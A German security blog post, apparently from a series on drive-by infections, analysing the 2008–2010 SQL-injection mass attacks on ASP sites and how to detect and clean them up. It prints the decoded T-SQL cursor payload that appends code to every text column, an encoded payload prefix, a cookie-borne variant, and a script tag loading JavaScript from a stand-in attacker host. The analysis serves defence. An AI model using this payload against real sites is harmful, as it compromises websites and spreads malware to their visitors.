Skip to content

Drive-by-Infektionen durch SQL-Injection vorbereitet

Eine Möglichkeit, einer harmlosen Website Code für Drive-by-Infektionen unter zu schieben, besteht im Ausnutzen von Schwachstellen in der jeweiligen Webanwendung. Da es darum geht, iframes oder script-Tags einzufügen, scheint dafür auf den ersten Blick das auch als "JavaScript Injection" bezeichnete persistente Cross-Site Scripting gut geeignet zu sein. Im Rahmen von Massenangriffen wurden bisher aber bevorzugt SQL-Injection-Schwachstellen ausgenutzt.

SQL-Injection mit dem Vorschlaghammer

Der schon 2008 im Rahmen der SQL-Injection-Angriffe auf ASP- und ASPX-Anwendungen eingesetzte Code wurde z.B. von F-Secure veröffentlicht und beginnt mit

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C
00410052004500200040005400200076006100720063006800610072...

Im Handler's Diary des Internet Storm Center (ISC) wurde ein solcher Angriff analysiert. Der dekodierte SQL-Code sieht folgendermaßen aus:

DECLARE @T varchar(255),@C varchar(255) 
DECLARE Table_Cursor CURSOR 
FOR select a.name,b.name 
   from sysobjects a,syscolumns b 
   where a.id=b.id and a.xtype='u' 
   and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) 
BEGIN 
  exec('update ['+@T+'] 
  set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''[Schadcode]'' ')
  FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

Über einen Tabellen-Cursor in Form der Variablen Table_Cursor werden alle Tabellen und die zugehörigen Spalten ermittelt,
• deren Typ ntext, text, nvarchar oder varchar ist
UND
• die eine Benutzer- und keine Systemtabelle sind.
Danach wird das Ergebnis in einer WHILE-Schleife durchlaufen, die an jedes gefundene Feld den Schadcode anhängt, der im Quelltext an der Stelle von [Schadcode] stehen würde. Dabei werden die vorhandenen Daten in den Typ varchar umgewandelt und führende Leerzeichen entfernt.

Dieser Code wird für jeden gefundenen Parameter eingegeben. Wird die Eingabe ungeprüft in einer SQL-Abfrage eingefügt, so dass SQL-Injection möglich ist, wird er ausgeführt und die Website ist für Drive-by-Infektionen präpariert.

Der Schadcode bestand meist aus einem script-Tag zum Nachladen des eigentlichen JavaScript-Skripts zur Installation der Schadsoftware auf dem Client:

<script src=http://www.boeser-server.example/pfad/zum/skript.js></script>

Was dieses Skript macht, wird in einer zukünftigen Folge beschrieben.

Während 2008 und 2010 bei den meisten SQL-Injection-Angriffen GET-Parameter verwendet wurden, wurde nahezu identischer SQL-Injection-Code im Dezember 2008 als Cookie-Parameter übertragen:

Cookie: ref=ef';DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C4152452040542...

Ebenso können natürlich auch POST-Parameter manipuliert werden. Wie ein Parameter übertragen wird, ist also egal - über jeden kann ein Angriff(sversuch) erfolgen.

SQL-Injection-Angriffe erkennen

Die SQL-Injection-Angriffe erkennt man an entsprechenden Einträgen in den Logfiles der Web- und Datenbankserver. Taucht dort irgendwo eine Eingabe wie z.B. das oben genannte DECLARE%20@S%20NVARCHAR... auf, wurde der Server angegriffen. Das Beispiel ist natürlich nur ein möglicher SQL-Injection-Angriff, der SQL-Code kann auch anders formuliert und/oder kodiert werden. Auffallend ist aber fast immer die Länge der Eingabe, die sich evtl. auch mehrmals wiederholt, wenn sie für mehrere mögliche Parameter eingegeben wurde. Auffallend lange Eingaben, insbesondere für einen Parameter, der normalerweise nur kurze Eingaben erfordert, sollten daher immer genauer auf einen möglichen Angriff hin untersucht werden.

Ob ein SQL-Injection-Angriff erfolgreich war oder nicht, ist aus den Logfiles nicht ersichtlich. War er erfolgreich, ist der eingeschleuste Schadcode in der Datenbank zu finden. Bei der oben vorgestellten "Vorschlaghammermethode" wird der Schadcode in jedes Textfeld geschrieben, unabhängig von dessen eigentlichem Inhalt. Das Auftauchen von iframes oder script-Tags in Feldern, in denen sie nichts zu suchen haben, z.B. einem, das als Text für das title-Tag verwendet wird, ist daher ein sicheres Indiz für einen erfolgreichen Angriff.

Bei einem gezielteren Angriff, bei dem nur Felder manipuliert werden, in denen der eingeschleuste Code theoretisch vorkommen kann, wird das Erkennen eines Angriffs schwieriger. Leider gibt es kein allgemein gültiges, eindeutiges Erkennungsmuster für den Schadcode, aber mit etwas Glück können Sie für ihre eigene Webanwendung eines ermitteln. Um den JavaScript-Code zum Einschleusen des Schadcodes auf dem Client nachzuladen, werden script-Tags oder iframes verwendet, außerdem ist für das Nachladen des Codes die Angabe von "http://" erforderlich. Kommen entsprechende Zeichenketten normalerweise nicht in der Datenbank vor, ist ihr Auftauchen ein sicherer Hinweis für einen erfolgreichen Angriff.

Enthält die Datenbank auch im normalen Betrieb die entsprechenden Tags und "http://"-Strings, wird das Erkennen von Angriffen schwierig. Als Domainname für die Server mit den nachzuladenden Dateien werden meist zufällig gebildete Zeichenketten verwendet, und die Dateien können natürlich ebenfalls beliebig benannt werden. Sofern Sie nicht nach einem bekannten Muster einer laufenden Angriffswelle suchen, ist dann nur noch die regelmäßige Wiederholung des eingeschleusten iframes oder script-Tags auffällig. Besteht der Verdacht, dass die Datenbank manipuliert wurde, hilft dann nur eine manuelle Kontrolle aller verdächtigen Einträge.

Nach dem Angriff: Großreinemachen

Erkannter eingeschleuster Schadcode muss natürlich entfernt werden, aber solange die vorhandene SQL-Injection-Schwachstelle nicht behoben wurde, sind entsprechende Angriffe immer wieder möglich. Daher sollte der betroffene Server vom Netz genommen werden, bis der eingeschleuste Schadcode vollständig entfernt und die vorhandenen SQL-Injection-Schwachstellen behoben wurden. Werden die Schwachstellen nicht beseitigt, dauert es i.A. nicht lange, bis der Server erneut von den Cyberkriminellen besucht und für Drive-by-Infektionen präpariert wird.

SQL-Injection ist nur eine Möglichkeit, einer harmlosen Website Code für Drive-by-Infektionen unter zu schieben. Weitere Möglichkeiten werden in der nächsten Folge behandelt.

Carsten Eilers


Übersicht über alle Artikel zum Thema

Drive-by-Infektionen - Gefahren drohen überall
Drive-by-Infektionen durch SQL-Injection vorbereitet
Drive-by-Infektionen: So kommt der Schadcode auf den Server
Drive-by-Infektionen - Vom Server auf den Client
Drive-by-Infektionen - Ein Blick auf die Exploits
Drive-by-Infektionen erkennen und abwehren
LizaMoon - Massenhack mit minimalen Folgen
Aktuelles: LizaMoon auf Apples iTunes-Seiten
Drive-by-Infektionen über präparierte Werbung

Trackbacks

Dipl.-Inform. Carsten Eilers am : Lilupophilupop - Eine SQL-Injection-Welle ist unterwegs

"Lilupophilupop - Eine SQL-Injection-Welle ist unterwegs" vollständig lesen
SQL-Injection-Angriffe auf ASP-Websites gibt es eigentlich ständig, meist ohne dass sie besondere Aufmerksamkeit erregen. Von Zeit zu Zeit gibt es auch größere Wellen, wie z.B. LizaMoon im Frühjahr 2011. Auch im Herbst 2011

Dipl.-Inform. Carsten Eilers am : Kommentare zu SQL-Injection-Massenhacks, Drive-by-Infektionen und Exploit-Kits

"Kommentare zu SQL-Injection-Massenhacks, Drive-by-Infektionen und Exploit-Kits" vollständig lesen
Man nehme einige SQL-Injection-Massenhacks, eine Prise Drive-by-Infektionen und zwei Exploit-Kits, würze mit einigen Kommentaren, rühre gut um - und schon ist dieser Standpunkt fertig. Lizamoon weiterhin aktiv Vor etwas mehr als

Dipl.-Inform. Carsten Eilers am : SQL-Injection im Schnelldurchlauf

"SQL-Injection im Schnelldurchlauf" vollständig lesen
Laut dem Cloud-Hosting-Anbieter FireHost ist die Zahl der erkannten SQL-Injection-Angriffe zwischen April und Juni 2012 um 69% gestiegen. Während im 1. Quartal 2012 "nur" 277.770 Angriffe abgewehrt wurden, waren es im 2. Quartal 469.983 Angr

Dipl.-Inform. Carsten Eilers am : 0-Day-Schwachstelle im Internet Explorer, Ausgabe Dezember 2012

"0-Day-Schwachstelle im Internet Explorer, Ausgabe Dezember 2012" vollständig lesen
Ende Dezember wurden Angriffe über eine neue 0-Day-Schwachstelle im Internet Explorer entdeckt. Und die hat es ebenso wie die Angriffe selbst in sich. Erste Angriffe am 27. 21. 7 Dezember 2012 Laut Symantec und FireEye konnten die er

Dipl.-Inform. Carsten Eilers am : Drucksache: Entwickler Magazin 2.2014 - Die OWASP Top 10, Teil 1

"Drucksache: Entwickler Magazin 2.2014 - Die OWASP Top 10, Teil 1" vollständig lesen
Im Entwickler Magazin 2.2014 ist der erste Teil eines zweiteiligen Artikels über die OWASP Top 10, die zehn gefährlichsten Schwachstellen in Webanwendungen, erschienen. Die Reihenfolge der Schwachstellen ergibt sich aus vier Faktoren

Dipl.-Inform. Carsten Eilers am : Drucksache: windows.developer Magazin 6.2014 - Ein bisschen was zur Sicherheit (nicht nur) des SQL Servers 2014

"Drucksache: windows.developer Magazin 6.2014 - Ein bisschen was zur Sicherheit (nicht nur) des SQL Servers 2014" vollständig lesen
Im windows.developer 6.2014 ist ein Artikel zur Sicherheit von SQL allgemein und des SQL Servers 2014 im Besonderen erschienen: "In Redmond nichts Neues - Ein bisschen was zur Sicherheit (nicht nur) des SQL Servers 2014". Aus Sicherheitssicht

Dipl.-Inform. Carsten Eilers am : Drucksache: windows.developer Magazin 12.2014 - JavaScript und die Sicherheit

"Drucksache: windows.developer Magazin 12.2014 - JavaScript und die Sicherheit" vollständig lesen
Im windows.developer 12.2014 ist ein Artikel über Angriffe zur Sicherheit von JavaScript erschienen. Darin geht es um zwei Themen: Zum einen um einige neue bzw. verbesserte Angriffe, die auf den Sicherheitskonferenzen vorgestellt wurden. Zu

entwickler.de am : PingBack

"PingBack" vollständig lesen

Dipl.-Inform. Carsten Eilers am : Neues eBook: "JavaScript Security - Sicherheit im Webbrowser"

"Neues eBook: "JavaScript Security - Sicherheit im Webbrowser"" vollständig lesen
Bei entwickler.press ist mein eBook über die Sicherheit von JavaScript erschienen: "JavaScript Security - Sicherheit im Webbrowser" Wie der Name schon sagt geht es um die Sicherheit von JavaScript (und HTML5, dass ja viele neue JavaSc

entwickler.de am : PingBack

"PingBack" vollständig lesen

Kommentare

Ansicht der Kommentare: Linear | Verschachtelt

Noch keine Kommentare

Kommentar schreiben

Die angegebene E-Mail-Adresse wird nicht dargestellt, sondern nur für eventuelle Benachrichtigungen verwendet.
Standard-Text Smilies wie :-) und ;-) werden zu Bildern konvertiert.
BBCode-Formatierung erlaubt

Kommentare werden erst nach redaktioneller Prüfung freigeschaltet!